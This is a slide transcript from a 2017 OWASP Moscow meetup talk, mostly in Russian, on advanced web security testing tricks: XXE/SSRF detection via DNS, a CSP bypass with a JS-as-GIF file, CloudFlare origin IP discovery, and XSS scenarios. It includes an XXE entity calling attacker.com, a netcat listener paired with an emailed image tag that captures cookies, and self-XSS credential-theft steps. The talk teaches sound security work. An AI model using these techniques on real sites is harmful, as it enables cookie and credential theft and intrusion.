Upgrade to Pro — share decks privately, control downloads, hide ads and more …

"Трюки при анализе защищенности веб приложений...

Sponsored · Ship Features Fearlessly Turn features on and off without deploys. Used by thousands of Ruby developers.
Avatar for OWASP Moscow OWASP Moscow
December 04, 2017

"Трюки при анализе защищенности веб приложений – продвинутая версия", Сергей Белов

OWASP Russia Meetup #1

Avatar for OWASP Moscow

OWASP Moscow

December 04, 2017

More Decks by OWASP Moscow

Other Decks in Technology

Transcript

  1. XXE/SSRF detection via DNS SSRF: 1) Предложить сайт <ссылка на

    сайт> 2) Бот проверяет сайт 3) Вместо внешнего сайта подставляется локальный адрес / заменяется схема (file:///)
  2. XXE/SSRF detection via DNS XXE: 1) XML <?xml version="1.0" encoding="ISO-8859-1"?>

    2) С сущностью <!ENTITY xxe SYSTEM «http://attacker.com» >]> 3) Парсер пытается подгрузить сущность с внешнего сайта
  3. XXE/SSRF detection via DNS Сложности при поиске: 1) Есть или

    нет? 2) Время запроса 3) Firewall 4) Другие ограничения
  4. XXE/SSRF detection via DNS Инструкция 1) Свой сервер (VPS) –

    12.34.56.78 1) Ставим attacker.com свои NS сервера NS1: 12.34.56.78; NS2: 12.34.56.78 2) dnschef 3) python dnschef.py -i 0.0.0.0
  5. XXE/SSRF detection via DNS Сценарий 1 1) User 1 ->

    User 2 http://skype-example.com 2) # cat access.log | grep “skype-example” | wc –l 3) 0 
  6. CSP bypass – js as image Картинка == js файл

    Gif injector - http://pastebin.com/6yUbfGX5
  7. CSP bypass – js as image 1) Возможность загружать файлы

    на разрешенные домены в CSP 2) Загрузить картинку<->js и сделать инклуд <script src=“.../image.gif”></script> Свежие хромы научились блочить подобное 
  8. CloudFlare – real IP detection CloudFlare Free, Pro and Business

    plan: We do not proxy wildcard records CloudFlare Enterprise: For CloudFlare Enterprise customers, we do proxy wildcard records
  9. XSS & urlencode 1) Не все web серверы выполняют urldecode

    2)  XSS подставляется, но после urlencode 3) XSS не выполняется  4) На помощь приходит... IE!
  10. Situation #1 – Same Site Scripting Attacker: 1) nc –lv

    10024 2) email to [email protected] with <img src = http://xxyyzz.target.com:10024 > Victim: 1) Open email and... 2) Load image with *.target.com cookies! (that’s is why important to know howto correctly set cookies - http://habrahabr.ru/post/143276/)
  11. Situation #1 – Same Site Scripting 38 XXXYYYZZZ.target.com => 10.0.0.22

    http://lab.onsec.ru/2013/07/insecure-dns-records-in-top-web-projects.html
  12. Situation #2 – Self XSS Steps: 1) Save (self)XSS for

    you 2) Logout victim 3) Login victim w/ your creds 4) Draw window 5) Catch user’s creds!
  13. Situation #3 - HTTP referer <a href=“http://external.com”>Go!</a> In request headers:

    ... Referer: http://yoursite.com/ ... But what about external resources on web page such as images, styles...?
  14. Situation #5 - Content-Security-Policy 1) Forks with diff UA 2)

    Proxy cache 3) Load balancer... Bug hunter got $100, but...
  15. Situation #5 - Content-Security-Policy Fail! Why: • ‘Partial support in

    Internet Explorer 10-11 refers to the browser only supporting the 'sandbox' directive by using the 'X-Content-Security-Policy' header. • Partial support in iOS Safari 5.0-5.1 refers to the browser recognizing the X-Webkit-CSP header but failing to handle complex cases correctly, often resulting in broken pages. • Chrome for iOS fails to render pages without a connect-src 'self' policy. • Old FF problems (some versions between XX and YY)
  16. Situations XXX • Info disclose via CSS files (full path

    disclosure while compilation - file\:\/\/\/applications\/hackerone\/releases\/201402211759 29\/app\/assets\/stylesheets\/application\/browser-not- supported\.scss (bug #2221) • SPF and same records • Short tokens • Pixel flood attack • CSRF for login/logout!? (hi Michal Zalewski!) • ... - https://hackerone.com/security?show_all=true